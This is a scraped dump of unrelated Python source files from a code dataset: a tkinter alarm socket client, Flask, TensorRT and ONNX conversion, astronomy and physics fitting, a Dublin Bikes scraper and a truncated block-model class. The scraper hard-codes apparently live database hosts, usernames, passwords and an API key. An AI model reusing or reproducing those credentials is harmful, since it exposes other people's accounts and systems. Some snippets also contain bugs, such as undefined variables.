trisurf[0]\n","sub_path":"holoviews/plotting/plotly/chart3d.py","file_name":"chart3d.py","file_ext":"py","file_size_in_byte":3837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"519225308","text":"#-*- coding=utf-8 -*-\nfrom tkinter import *\nfrom playsound import playsound\nimport threading \nimport wave\nimport pygame\n#import getCurrentTime\nimport sys\nimport os\nimport time\n\n#for server\nimport socket\n\n#server ip, port\nHOST = '220.149.236.92'\nPORT = 9999\n\n\nj=0\ni=100\ndateList=[0 for i in range(100)]\ndate1=[0 for i in range(100)]\ndate2=[0 for i in range(100)]\nwindow=Tk()\n#getCurrentTime.TaskCurrentTime()\nalarmFlag=0\nwindow.geometry(\"1000x1000\")\n\n\nwindow.title(\"My Artificial Voice\")\nLabel(window,text=\"시를 입력하세요(ex: 오후 5시= 17)\",bg=\"white\",width=30).place(x=20,y=75)\ne1=Entry(window,width=8)\ne1.place(x=260,y=75)\nLabel(window,text=\"분을 입력하세요(ex: 38 분 = 38)\",bg=\"white\",width=30).place(x=20,y=100)\ne2=Entry(window,width=8)\ne2.place(x=260,y=100)\nLabel(window,text=\"일정\",bg=\"white\",width=10).place(x=20,y=125)\ne3=Entry(window,width=31)\ne3.place(x=100,y=125)\n\n\ndef mkdate():\n global j\n global i\n dateList_str=e3.get()\n date1_Hour=e1.get()\n date1_Minute=e2.get()\n dateList[j]=str(dateList_str)\n date1[j]=int(date1_Hour)\n date2[j]=int(date1_Minute)\n Label(window,text=str(date1[j])+\"시 \"+str(date2[j])+\"분\",bg=\"white\",width=20).place(x=600,y=i)\n Label(window,text=dateList[j],bg=\"white\",width=20).place(x=800,y=i)\n \n #os.system('sudo python3 synthesizer.py --load_path logs/son_2018-10-26_21-17-45 --text=\"%s\"' % dateList[j]) \n\n\t### checking server\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.connect((HOST,PORT))\n sock.sendall(dateList[j].encode())\n\n data = sock.recv(1024)\n if not data:\n print(\"서버 오류 혹은 파일이 생성되지 않음\")\n return\n\n with open('myexs/' + 'check.txt', 'wb') as f:\n try:\n while data:\n f.write(data)\n data_transferred += len(data)\n data = sock.recv(1024)\n except Exception as e:\n print(e)\n\n print('전송성공 확인 ㄱㄱ')\n \n j=j+1\n i=i+25\n e2.delete(0,END)\n e1.delete(0,END)\n e3.delete(0,END)\n\ndef alarm_On(number):\n file_path='C:/Users/Rich/Downloads/tacotron/samples/alarm'+str(number+1)+'.manual.wav'\n file_wav=wave.open(file_path)\n frequency = file_wav.getframerate()\n pygame.mixer.init(frequency=frequency)\n pygame.mixer.music.load(file_path)\n\n pygame.mixer.music.play()\n\ndef alarm_Off():\n pygame.mixer.music.stop()\n \n\ndef CheckTime():\n global alarmFlag\n timer=threading.Timer(3,CheckTime)\n timer.start()\n\n realTime_Hour=getCurrentTime.hour\n realTime_Minute=getCurrentTime.minute\n \n for i in range(0,100):\n if(realTime_Hour==date1[i] and realTime_Minute==date2[i] and alarmFlag==1):\n timer.cancel()\n print(alarmFlag)\n alarm_On(i)\n\nclass MyAlarm:\n def __init__(self):\n pass\n def alarmSet(self):\n global alarmFlag\n alarmFlag =1\n CheckTime()\n def alarmReset(self):\n global alarmFlag\n \n alarmFlag=0\n CheckTime()\n\n\n\nb1=Button(window,text=\"저장\",command=mkdate)\nb1.place(x=360,y=150)\n\n\nmyAlarm=MyAlarm()\nbtn_On = Button(window, text=\"알람설정\", command=myAlarm.alarmSet)\nbtn_On.place(x=340,y=200)\nbtn_Off = Button(window, text=\"알람해제\", command=myAlarm.alarmReset)\nbtn_Off.place(x=440,y=200)\nwindow.mainloop()\n","sub_path":"work/socket_client.py","file_name":"socket_client.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"55646924","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom flask import Flask, render_template , Response , make_response\nimport time\nimport serial\napp = Flask(__name__)\n \n@app.route('/')\ndef index(name=None):\n\t#resp = make_response()\n\t#resp\n\n\tresponse = make_response(render_template('test.html', name=name))\n\tresponse.headers.add('Cache-Control', 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0')\n\t#response.cache_control.no_cache = False\n\treturn response\n\n\n@app.route('/post', methods=['POST'])\ndef post():\n\treturn \"%s°C\" % ser.readline()\n\n@app.route('/get', methods=['GET'])\ndef get():\n\t#return \"%s°C\" % ser.readline()\n\treturn \"%s°C\" % 28\n\t\n\nif __name__ == '__main__':\n\tglobal cnt\n\tcnt = 0\n\t#tmp_msg = \"/dev/tty.usbmodemfa131\"\n\t#ser = serial.Serial(tmp_msg)\n\t#ser.baudrate = 115200\n\t#ser.timeout = 1\n\t#print ser.portstr\n\t#time.sleep(1.5)\n\tapp.debug = True\n\tapp.run(host=\"localhost\",port=1234)\n \n","sub_path":"Ondo/Flask/Flask.py","file_name":"Flask.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"115696294","text":"n = int(input())\n\nhome = {}\naway = []\nfor i in range(n):\n\th, a = [int(i) for i in input().split()]\n\tif not h in home:\n\t\thome[h] = 0\n\thome[h] += 1\n\taway.append(a)\n\nfor a in away:\n\tsame = 0\n\tif a in home:\n\t\tsame = home[a]\n\tprint(n-1+same, n-1-same)\n","sub_path":"432/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"597836529","text":"# ---\n# jupyter:\n# jupytext:\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.7.1\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# !pip install nvidia-pyindex\n# !pip install onnx-graphsurgeon\n\n# +\nimport argparse\nimport ctypes\nimport tensorrt as trt\nimport os\nimport onnx\nimport numpy as np\nimport onnx_graphsurgeon as gs\n\nfrom TRTEngineBuilder import TRTEngineBuilder, TRT_LOGGER\nfrom common import GiB\n\n\n# +\ndef print_graph_io(graph):\n # Print inputs:\n print(\" ===== Inputs =====\")\n for i in graph.inputs:\n print(i)\n # Print outputs:\n print(\" ===== Outputs =====\")\n for i in graph.outputs:\n print(i)\n\n\ndef io_name_handler(graph: gs.Graph):\n len_suffix = len(\"tf_op_layer_\")\n for out in graph.outputs:\n out.name = out.name[len_suffix:]\n\n\ndef get_node_by_name(name, onnx_graph: gs.Graph):\n for n in onnx_graph.nodes:\n if name in n.name:\n return n\n return None\n\n\ndef get_nodes_by_op(op_name, onnx_graph):\n nodes = []\n for n in onnx_graph.nodes:\n if n.op == op_name:\n nodes.append(n)\n return nodes\n\ndef get_nodes_by_prefix(prefix, onnx_graph: gs.Graph):\n nodes = []\n for n in onnx_graph.nodes:\n if n.name.startswith(prefix):\n nodes.append(n)\n return nodes\n\n\ndef fix_graph_detr(graph: gs.Graph):\n # === Fix Pad 2 in Resnet backbone ===\n # TensorRT supports padding only on 2 innermost dimensions\n resnet_pad2 = get_node_by_name(\n \"detr/detr_finetuning/detr/backbone/pad2/Pad\", graph)\n resnet_pad2.inputs[1] = gs.Constant(\n \"pad2/pads_input\", np.array([0, 0, 1, 1, 0, 0, 1, 1]))\n graph.cleanup()\n graph.toposort()\n return graph\n\n\ndef fix_graph_deformable_detr(graph: gs.Graph):\n batch_size = graph.inputs[0].shape[0]\n # === Fix Pad 2 in Resnet backbone ===\n # TensorRT supports padding only on 2 innermost dimensions\n resnet_pad2 = get_node_by_name(\n \"deformable-detr/deformable_detr/detr_core/backbone/pad2/Pad\", graph)\n unused_nodes = [resnet_pad2.i(1), resnet_pad2.i(1).i()]\n resnet_pad2.inputs[1] = gs.Constant(\n \"pad2/pads_input\", np.array([0, 0, 1, 1, 0, 0, 1, 1]))\n for n in unused_nodes:\n graph.nodes.remove(n)\n\n # ======= Add nodes for MsDeformIm2ColTRT ===========\n tf_im2col_nodes = get_nodes_by_op(\"MsDeformIm2col\", graph)\n\n spatial_shape_np = tf_im2col_nodes[0].inputs[1].values.reshape((1, -1, 2))\n spatial_shape_tensor = gs.Constant(\n name=\"MsDeformIm2Col_spatial_shape\",\n values=spatial_shape_np)\n\n start_index_np = tf_im2col_nodes[0].inputs[2].values.reshape((1, -1))\n start_index_tensor = gs.Constant(\n name=\"MsDeformIm2Col_start_index\",\n values=start_index_np)\n\n def handle_ops_MsDeformIm2ColTRT(graph: gs.Graph, node: gs.Node):\n inputs = node.inputs\n inputs.pop(1)\n inputs.pop(1)\n inputs.insert(1, start_index_tensor)\n inputs.insert(1, spatial_shape_tensor)\n outputs = node.outputs\n graph.layer(\n op=\"MsDeformIm2ColTRT\",\n name=node.name + \"_trt\",\n inputs=inputs,\n outputs=outputs)\n\n for n in tf_im2col_nodes:\n handle_ops_MsDeformIm2ColTRT(graph, n)\n # Detach old node from graph\n n.inputs.clear()\n n.outputs.clear()\n graph.nodes.remove(n)\n\n # ======= Handle GroupNorm by TensorRT official plugin =======\n gn_nodes = []\n for i in range(4):\n gn_nodes.append(\n get_nodes_by_prefix(\n f\"deformable-detr/deformable_detr/detr_core/input_proj_gn/{i}\", graph))\n \n def handle_group_norm_nodes(nodes, graph:gs.Graph):\n # Get GN name\n gn_name = nodes[0].name[:-7]\n # Get GN input tensors\n \n gn_input = nodes[0].i().inputs[0]\n # Get gamme input\n mul_node = None\n for n in nodes:\n if n.name.endswith(\"/mul\"):\n mul_node = n\n assert mul_node is not None\n gamma_input = gs.Constant(\n name=gn_name + \"gamma:0\",\n values=mul_node.inputs[1].values.reshape((batch_size, -1)))\n # Get beta input\n sub_node = None\n for n in nodes:\n if n.name.endswith(\"batchnorm/sub\"):\n sub_node = n\n assert sub_node is not None\n beta_input = gs.Constant(\n name=gn_name+\"beta:0\",\n values=sub_node.inputs[0].values.reshape((batch_size, -1)))\n # Get output tensor\n gn_output = nodes[-1].outputs[0]\n # print(gn_output)\n # Add new plugin node to graph\n graph.layer(\n name=gn_name + \"group_norm_trt\",\n inputs=[gn_input, gamma_input, beta_input],\n outputs=[gn_output],\n op=\"GroupNormalizationPlugin\",\n attrs={\n \"eps\": 1e-5,\n \"num_groups\": 32\n })\n # Detach gn_output from existing graph\n gn_out_flatten = gn_output.outputs[0]\n gn_out_flatten.inputs.pop(0)\n # Add Transpose\n transposed_tensor = graph.layer(\n name=gn_name+\"gn_out_transpose\",\n inputs=[gn_output],\n outputs=[gn_name + \"input_proj_flatten:0\"],\n op=\"Transpose\",\n attrs={\"perm\": [0, 2, 3, 1]}\n )\n gn_out_flatten.inputs.insert(0, transposed_tensor[0])\n # Disconnect old nodes\n nodes.insert(0, nodes[0].i()) # for clean up purpose\n for n in nodes:\n n.inputs.clear()\n n.outputs.clear()\n graph.nodes.remove(n)\n\n for nodes in gn_nodes:\n handle_group_norm_nodes(nodes, graph)\n \n\n return graph\n\n\ndef fix_onnx_graph(graph: gs.Graph, model: str):\n if model == \"detr\":\n return fix_graph_detr(graph)\n elif model == \"deformable-detr\":\n return fix_graph_deformable_detr(graph)\n\n\ndef main(onnx_dir: str, model: str, precision: str, verbose: bool, **args):\n print(model)\n onnx_path = os.path.join(onnx_dir, model + \".onnx\")\n print(onnx_path)\n\n graph = gs.import_onnx(onnx.load(onnx_path))\n graph.toposort()\n\n # === Change graph IO names\n # print_graph_io(graph)\n io_name_handler(graph)\n print_graph_io(graph)\n\n # === Fix graph to adapt to TensorRT\n graph = fix_onnx_graph(graph, model)\n\n # === Export adapted onnx for TRT engine\n adapted_onnx_path = os.path.join(onnx_dir, model + \"_trt.onnx\")\n onnx.save(gs.export_onnx(graph), adapted_onnx_path)\n\n # === Build engine\n if verbose:\n trt_logger = trt.Logger(trt.Logger.VERBOSE)\n else:\n trt_logger = trt.Logger(trt.Logger.WARNING)\n\n builder = TRTEngineBuilder(adapted_onnx_path, logger=trt_logger)\n\n if precision == \"FP32\":\n pass\n if precision == \"FP16\":\n builder.FP16_allowed = True\n builder.strict_type = True\n if precision == \"MIX\":\n builder.FP16_allowed = True\n builder.strict_type = False\n\n builder.export_engine(os.path.join(\n onnx_dir, model + f\"_{precision.lower()}.engine\"))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--model', type=str, default=\"detr\",\n help=\"detr/deformable-detr\")\n parser.add_argument(\"--precision\", type=str,\n default=\"FP16\", help=\"FP32/FP16/MIX\")\n parser.add_argument('--onnx_dir', type=str, default=None,\n help=\"path to dir containing the \\{model_name\\}.onnx file\")\n parser.add_argument(\"--verbose\", action=\"store_true\",\n help=\"Print out TensorRT log of all levels\")\n args = parser.parse_args()\n\n if \"deformable\" in args.model:\n MS_DEFORM_IM2COL_PLUGIN_LIB = \"./detr_tensorrt/plugins/ms_deform_im2col/build/libms_deform_im2col_trt.so\"\n ctypes.CDLL(MS_DEFORM_IM2COL_PLUGIN_LIB)\n trt.init_libnvinfer_plugins(TRT_LOGGER, '')\n PLUGIN_CREATORS = trt.get_plugin_registry().plugin_creator_list\n\n if args.onnx_dir is None:\n args.onnx_dir = os.path.join(\n \"weights\", args.model, args.model + \"_trt\")\n # for plugin in PLUGIN_CREATORS:\n # print(plugin.name, plugin.plugin_version)\n main(**vars(args))\n\n# +\nimport tensorrt as trt\n\nTRT_LOGGER = trt.Logger(trt.Logger.WARNING)\ntrt_runtime = trt.Runtime(TRT_LOGGER)\ndef build_engine(onnx_path, shape = [1,512,512,3]):\n\n \"\"\"\n This is the function to create the TensorRT engine\n Args:\n onnx_path : Path to onnx_file. \n shape : Shape of the input of the ONNX file. \n \"\"\"\n with trt.Builder(TRT_LOGGER) as builder, builder.create_network(1) as network, trt.OnnxParser(network, TRT_LOGGER) as parser:\n builder.max_workspace_size = (256 << 20)\n with open(onnx_path, 'rb') as model:\n parser.parse(model.read())\n network.get_input(0).shape = shape\n engine = builder.build_cuda_engine(network)\n return engine\n\ndef save_engine(engine, file_name):\n buf = engine.serialize()\n with open(file_name, 'wb') as f:\n f.write(buf)\ndef load_engine(trt_runtime, plan_path):\n with open(plan_path, 'rb') as f:\n engine_data = f.read()\n engine = trt_runtime.deserialize_cuda_engine(engine_data)\n return engine\n\n\n# +\nimport argparse\nfrom onnx import ModelProto\nimport tensorrt as trt \n\nengine_name = \"detr.plan\"\nonnx_path = \"weights/DETR/DETR_trt/DETR.onnx\"\nbatch_size = 1 \n \nmodel = ModelProto()\nwith open(onnx_path, \"rb\") as f:\n model.ParseFromString(f.read())\nd0 = model.graph.input[0].type.tensor_type.shape.dim[1].dim_value\nd1 = model.graph.input[0].type.tensor_type.shape.dim[2].dim_value\nd2 = model.graph.input[0].type.tensor_type.shape.dim[3].dim_value\nshape = [batch_size , d0, d1 ,d2]\nengine = build_engine(onnx_path, shape= shape)\nsave_engine(engine, engine_name) \n# -\n\nshape\n\n\n","sub_path":"onnx2engine.py","file_name":"onnx2engine.py","file_ext":"py","file_size_in_byte":9932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"171591737","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build\\bdist.win-amd64\\egg\\phantom\\enhance.py\n# Compiled at: 2019-08-20 13:10:50\n# Size of source mod 2**32: 2234 bytes\n\"\"\"\nImage enhancement algorithms.\n\"\"\"\nimport cv2, numpy as np\n\ndef lucy_richardson_deconv(img, num_iterations, sigmag):\n \"\"\"\" Lucy-Richardson Deconvolution Function\n // input-1 img: NxM matrix image\n // input-2 num_iterations: number of iterations\n // input-3 sigma: sigma of point spread function (PSF)\n // output result: deconvolution result\n \"\"\"\n epsilon = 2.2204e-16\n win_size = 8 * sigmag + 1\n j1 = img.copy()\n j2 = img.copy()\n w_i = img.copy()\n im_r = img.copy()\n t1 = np.zeros((img.shape), dtype=(np.float32))\n t2 = np.zeros((img.shape), dtype=(np.float32))\n tmp1 = np.zeros((img.shape), dtype=(np.float32))\n tmp2 = np.zeros((img.shape), dtype=(np.float32))\n lambda_ = 0\n for j in range(1, num_iterations):\n if j > 1:\n tmp1 = t1 * t2\n tmp2 = t2 * t2\n lambda_ = cv2.sumElems(tmp1)[0] / (cv2.sumElems(tmp2)[0] + epsilon)\n y = j1 + np.multiply(lambda_, np.subtract(j1, j2))\n y[y < 0] = 0\n re_blurred = cv2.GaussianBlur(y, (int(win_size), int(win_size)), sigmag)\n re_blurred[re_blurred <= 0] = epsilon\n cv2.divide(w_i, re_blurred, im_r, 1, cv2.CV_64F)\n im_r = im_r + epsilon\n im_r = cv2.GaussianBlur(im_r, (int(win_size), int(win_size)), sigmag)\n j2 = j1.copy()\n j1 = y * im_r\n t2 = t1.copy()\n t1 = j1 - y\n\n result = j1.copy()\n return result","sub_path":"pycfiles/phantom-0.7.2-py3.6/enhance.cpython-36.py","file_name":"enhance.cpython-36.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"341177124","text":"#Run this script to run the experiment\n#Steps to follow are:\n# 1. Preprocessing of data\n# 2. Give the data to the reservoir\n# 3. Plot the performance (such as error rate/accuracy)\n\nfrom reservoir import EchoStateNetwork as ESN, Tuner as tuner, ReservoirTopology as topology\nfrom plotting import OutputPlot as outputPlot\nimport numpy as np\nimport os\nfrom datetime import datetime\nfrom sklearn import preprocessing as pp\n\n# Read data from the file\ndata = np.loadtxt('MackeyGlass_t17.txt')\n\n# Normalize the raw data\nminMax = pp.MinMaxScaler((-1,1))\ndata = minMax.fit_transform(data)\n\n#Training Input data - get 2000 points\nnTraining = 3000\nnTesting = 2000\ninputTrainingData = np.hstack((np.ones((nTraining, 1)),data[:nTraining].reshape((nTraining, 1))))\noutputTrainingData = data[1:nTraining+1].reshape((nTraining, 1))\n\n#Testing Input and output data\ntestInputData = np.hstack((np.ones((nTesting, 1)),data[nTraining:nTraining+nTesting].reshape((nTesting, 1))))\ntestActualOutputData = data[nTraining+1:nTraining+nTesting+1].reshape((nTesting, 1))\n\n# Tune the network\nsize = 256\ninitialTransient = 50\ninputConnectivity = 0.8\nreservoirConnectivity = 0.7\nreservoirTopology = topology.RandomTopology(size=size, connectivity=reservoirConnectivity)\n\n\nres = ESN.EchoStateNetwork(size=size,\n inputData=inputTrainingData,\n outputData=outputTrainingData,\n reservoirTopology=reservoirTopology,\n spectralRadius=0.67,\n inputScaling=0.87,\n reservoirScaling=0.44,\n leakingRate=0.9,\n initialTransient=initialTransient,\n inputConnectivity=inputConnectivity)\nres.trainReservoir()\n\n\n#Warm up\npredictedTrainingOutputData = res.predict(inputTrainingData)\n\n\n#Predict future values\npredictedTestOutputData = []\nlastAvailableData = testInputData[0,1]\nfor i in range(nTesting):\n query = [1.0]\n query.append(lastAvailableData)\n\n #Predict the next point\n nextPoint = res.predict(np.array(query).reshape((1,2)))[0,0]\n predictedTestOutputData.append(nextPoint)\n\n lastAvailableData = nextPoint\n\npredictedTestOutputData = np.array(predictedTestOutputData).reshape((nTesting, 1))\n\n#Plotting of the prediction output and error\noutputFolderName = \"Outputs/Outputs\" + datetime.now().strftime(\"%Y_%m_%d_%H_%M_%S\")\nos.mkdir(outputFolderName)\noutplot = outputPlot.OutputPlot(outputFolderName + \"/Prediction.html\", \"Mackey-Glass Time Series\", \"Prediction of future values\", \"Time\", \"Output\")\noutplot.setXSeries(np.arange(1, nTesting + 1))\noutplot.setYSeries('Actual Output', minMax.inverse_transform(testActualOutputData[:nTesting, 0]))\noutplot.setYSeries('Predicted Output', minMax.inverse_transform(predictedTestOutputData[:nTesting, 0]))\noutplot.createOutput()\nprint(\"Done!\")","sub_path":"obsoleted/runClassicESN.py","file_name":"runClassicESN.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"610561531","text":"#!/usr/bin/env python3\n\n# Required packages for setup\nimport pandas as pd\nimport numpy as np\nimport radvel\n\n# overwrite after load\nstarname = ''\n\n# Define global planetary system and dataset parameters\nnplanets = 1 # number of planets in the system\ninstnames = ['kpf'] # 1: HIRES (pre 2004), 2: HIRES (post-2004), 3: CORALIE, 4: Hamilton\nntels = len(instnames) # number of instruments with unique velocity zero-points\nfitting_basis = 'per tc secosw sesinw k' # Fitting basis, see radvel.basis.BASIS_NAMES for available basis names\nbjd0 = 2440000.\nplanet_letters = {1:'b'}\n\n# Define prior centers (initial guesses) in a basis of your choice (need not be in the fitting basis)\nanybasis_params = radvel.Parameters(nplanets,basis='per tc e w k') # initialize Parameters object\n\nanybasis_params['per1'] = radvel.Parameter(value=4.2308, vary=False) # period of 1st planet\nanybasis_params['tc1'] = radvel.Parameter(value=2459395.789, vary=False) # time of periastron of 1st planet\nanybasis_params['e1'] = radvel.Parameter(value=0.0) # eccentricity of 'per tp secosw sesinw k'1st planet\nanybasis_params['w1'] = radvel.Parameter(value=np.pi/4) # argument of periastron of the star's orbit for 1st planet\nanybasis_params['k1'] = radvel.Parameter(value=56.0) # velocity semi-amplitude for 1st planet\n\nanybasis_params['dvdt'] = radvel.Parameter(value=0.0, vary=False) # slope\nanybasis_params['curv'] = radvel.Parameter(value=0.0, vary=False) # curvature\n\nanybasis_params['gamma'] = radvel.Parameter(0.0, vary=True)\nanybasis_params['jit'] = radvel.Parameter(value=0.3, vary=True)\n\n# Convert input orbital parameters into the fitting basis\nparams = anybasis_params.basis.to_any_basis(anybasis_params,fitting_basis)\n\n# Define prior shapes and widths here.\npriors = [\n radvel.prior.EccentricityPrior(nplanets), # Keeps eccentricity < 1\n]\n\n# abscissa for slope and curvature terms (should be near mid-point of time baseline)\n# time_base = np.mean([np.min(data.time), np.max(data.time)]) \n\n# optional argument that can contain stellar mass in solar units (mstar) and\n# uncertainty (mstar_err). If not set, mstar will be set to nan.\nstellar = dict(mstar=1.00, mstar_err= 0.05)\n\n\n","sub_path":"setups/51peg.py","file_name":"51peg.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"176690112","text":"import requests\nimport traceback\nimport datetime\nimport time\nimport sqlalchemy as sqla\nfrom sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, BigInteger\nimport traceback\nimport glob\nimport os\nfrom pprint import pprint\nimport time\nimport requests\nimport json\n\n\n#DATABASE DETAILS\n#URI=\"dbbikes.cgz9bu4plq6e.us-east-1.rds.amazonaws.com\"\nURI=\"dbbikes.cqj4rrrshnza.us-east-1.rds.amazonaws.com\"\nPORT=\"3306\"\nDB = \"dbbikes\"\n#USER = \"aine\"\nUSER=\"dbbikes1\"\n\n#PASSWORD = \"ainedbbikes\"\nPASSWORD=\"dbbikes1\"\n\n#DUBLIN BIKES API CONNECTION\nAPIKEY = \"c003ff338508fcee56ace550c4cd05659b717e61\"\nNAME = \"dublin\"\nSTATIONS = \"https://api.jcdecaux.com/vls/v1/stations\"\n\nres = requests.get(STATIONS, params={\"apiKey\": APIKEY, \"contract\": NAME})\n\n#ENGINE\nengine = create_engine(\"mysql+mysqlconnector://{}:{}@{}:{}/{}\".format(USER, PASSWORD, URI, PORT, DB), echo=True)\nmeta=MetaData()\n\n\n#INSERT INTO STATIONS TABLE\n#If the length of rows in station table is zero, insert the rows FROM jcdECAUX\ndef stations_to_db(text):\n stations = json.loads(text)\n print(type(stations), len(stations))\n for station in stations:\n print(station)\n vals = (station.get('address'), int(station.get('banking')),\n station.get('bike_stands'), int(station.get('bonus')),\n station.get('contract_name'), station.get('name'),\n station.get('number'), station.get('position').get('lat'),\n station.get('position').get('lng'), station.get('status')\n )\n\n engine.execute(\"insert into station values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\", vals)\n return\n\nstations_to_db(res.text)\n\n\n##DYNAMIC SCRAPER\n\n#Creat availability table using ORM\navailability = Table(\n 'availability', meta,\n Column('number', Integer, primary_key=True),\n Column('available_bikes', Integer),\n Column('available_bike_stands', Integer),\n Column('last_update', Integer)\n)\n\n#Create table. Create_all is conditional by default. Won't recreate a table already preent\nmeta.create_all(engine)\n\n#Creat live_historic_availability table using ORM\nlive_historic_avail = Table(\n 'live_historic_avail', meta,\n #Note, number not a primary key here as will have repeated values\n Column('number', Integer),\n Column('available_bikes', Integer),\n Column('available_bike_stands', Integer),\n Column('last_update', BigInteger)\n)\n\n#Create table. Create_all is conditional by default. Won't recreate a table already preent\nmeta.create_all(engine)\n\n##Connection object to represent connection resource.\nconn = engine.connect()\n\n\n#Insert into the availability table using sql alchemy object relational mapping\n\n# def write_avail_to_db(text):\n# stations = json.loads(text)\n# print(type(stations), len(stations))\n# for station in stations:\n# #print(station)\n# print({key:station[key] for key in station.keys() & {'number','available_bikes','available_bike_stands','last_update'}})\n# station = {key:station[key] for key in station.keys() & {'number','available_bikes','available_bike_stands','last_update'}}\n# print(type(station))\n#\n#\n# ins = availability.insert().values(station)\n# print(ins)\n# conn.execute(ins)\n#\n# return\n\n#Execute the insert\n#write_avail_to_db(res.text)\n\n\n\n\ndef write_to_file(text):\n with open(\"data/bikes_{}\".format(now).replace(\" \",\"_\"),\"w\") as f:\n f.write(r.text)\n\n\n\n\n\n##Unused insert into availability table using SQL\n# def write_avail_to_db(text):\n# stations = json.loads(text)\n# print(type(stations), len(stations))\n# for station in stations:\n# print(station)\n# vals = (station.get('number'), int(station.get('banking')),\n# station.get('available_bikes'), int(station.get('bonus')),\n# station.get('available_bikes_Stands'), station.get('name'),\n# station.get('last_update'), station.get('position').get('lat'),\n# )\n# engine.execute(\"insert into availability values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\", vals)\n# return\n#\n\n\n\n\n\n","sub_path":"static_scraper.py","file_name":"static_scraper.py","file_ext":"py","file_size_in_byte":4077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"76427767","text":"import numpy as np\nfrom src.helper.probability_helper import log_dirichlet_expectation, log_beta_function, multinomial_mode\nfrom src.helper.io_helper import load_zachary, load_sampson, load_adjnoun, load_dolphins, \\\n generate_sbm_graph, double_standard_sampler, load_les_mis\nfrom src.helper.plot_helper import plot_adj_nw_permuted, plot_adj_permuted\nfrom scipy.special import gammaln, digamma, logsumexp, expit\nfrom sklearn import cluster, datasets, mixture\nfrom sklearn.neighbors import kneighbors_graph\nfrom sklearn.metrics import adjusted_rand_score\n# from sklearn.cluster import SpectralClustering, KMeans, MeanShift, AffinityPropagation, AgglomerativeClustering, DBSCAN, Birch,\nimport math\n\n\nclass SBM_vb:\n\n def __init__(self, Y, K, alpha, a, b, rho=None, missing_type='MAR', p_input=None, init_type='Random',\n algorithm_type='Spectral', sampling_design='DSS'):\n self.Y = Y\n self.K = K\n self.alpha_zero = alpha\n self.a = a\n self.b = b\n self.is_missing = np.isnan(Y).any()\n self.missing_mask = np.isnan(Y)\n self.mask = ~self.missing_mask\n self.rho = rho\n self.missing_type = missing_type\n self.init_type = init_type\n self.algorithm_type = algorithm_type\n self.p_input = p_input\n self.sampling_design = sampling_design\n self.is_directed = not np.allclose(Y, Y.T)\n\n def init_params(self, eps=1e-24):\n I, J = self.Y.shape\n K = self.K\n A_zero = np.ones((K, K)) * self.a\n B_zero = np.ones((K, K)) * self.b\n\n # A good init for P (or A and B) seems to have a significant effect on VB outcomes\n # since it directly affects A and B (multinomial) update at 1st iteration\n\n # Init rho\n rho_preset = True\n if self.rho is None:\n self.rho = np.random.beta(1, 1, 2)\n rho_preset = False\n\n # Init Y^missing\n if self.is_missing and self.missing_type == 'NMAR':\n # set Y^o\n Y_ = np.zeros_like(self.Y)\n Y_[self.mask] = self.Y[self.mask]\n # init Bernoulli parameter v(i, j) of Y^m\n V = np.random.beta(np.random.randint(1, 100, (I, J)), np.random.randint(1, 100, (I, J)))\n if not self.is_directed:\n for i in range(I):\n V[:, i] = V[i, :]\n Y_[self.missing_mask] = V[self.missing_mask]\n else:\n Y_ = np.array(self.Y)\n\n # INITIALIZE P\n # random p initialization\n if self.init_type == 'Input':\n p = self.p_input\n elif self.init_type == 'Random':\n p = np.random.dirichlet(self.alpha_zero, I) + eps\n elif self.init_type == 'Clustering':\n import matplotlib.pyplot as plt\n temp_Y = np.array(self.Y)\n if rho_preset:\n zero_miss = np.sum(self.Y == 0) / (self.rho[0] + 1e-24) * (1 - self.rho[0])\n one_miss = np.sum(self.Y == 1) / (self.rho[1] + 1e-24) * (1 - self.rho[1])\n b = one_miss / (zero_miss + one_miss)\n temp_Y[self.missing_mask] = np.random.binomial(1, b, (I, I))[self.missing_mask]\n else:\n temp_Y[self.missing_mask] = 0\n\n if self.algorithm_type == 'Kmeans':\n clustering = cluster.KMeans(n_clusters=K, random_state=0)\n elif self.algorithm_type == 'Spectral':\n clustering = cluster.SpectralClustering(n_clusters=K, assign_labels=\"discretize\", random_state=0)\n elif self.algorithm_type == 'MeanShift':\n # estimate bandwidth for mean shift\n bandwidth = cluster.estimate_bandwidth(temp_Y, quantile=.3)\n clustering = cluster.MeanShift(bandwidth=bandwidth, bin_seeding=True)\n elif self.algorithm_type == 'Ward':\n # connectivity matrix for structured Ward\n connectivity = kneighbors_graph(\n temp_Y, n_neighbors=10, include_self=False)\n # make connectivity symmetric\n connectivity = 0.5 * (connectivity + connectivity.T)\n clustering = cluster.AgglomerativeClustering(\n n_clusters=K, linkage='ward',\n connectivity=connectivity)\n elif self.algorithm_type == 'Spectral-2':\n clustering = cluster.SpectralClustering(\n n_clusters=K, 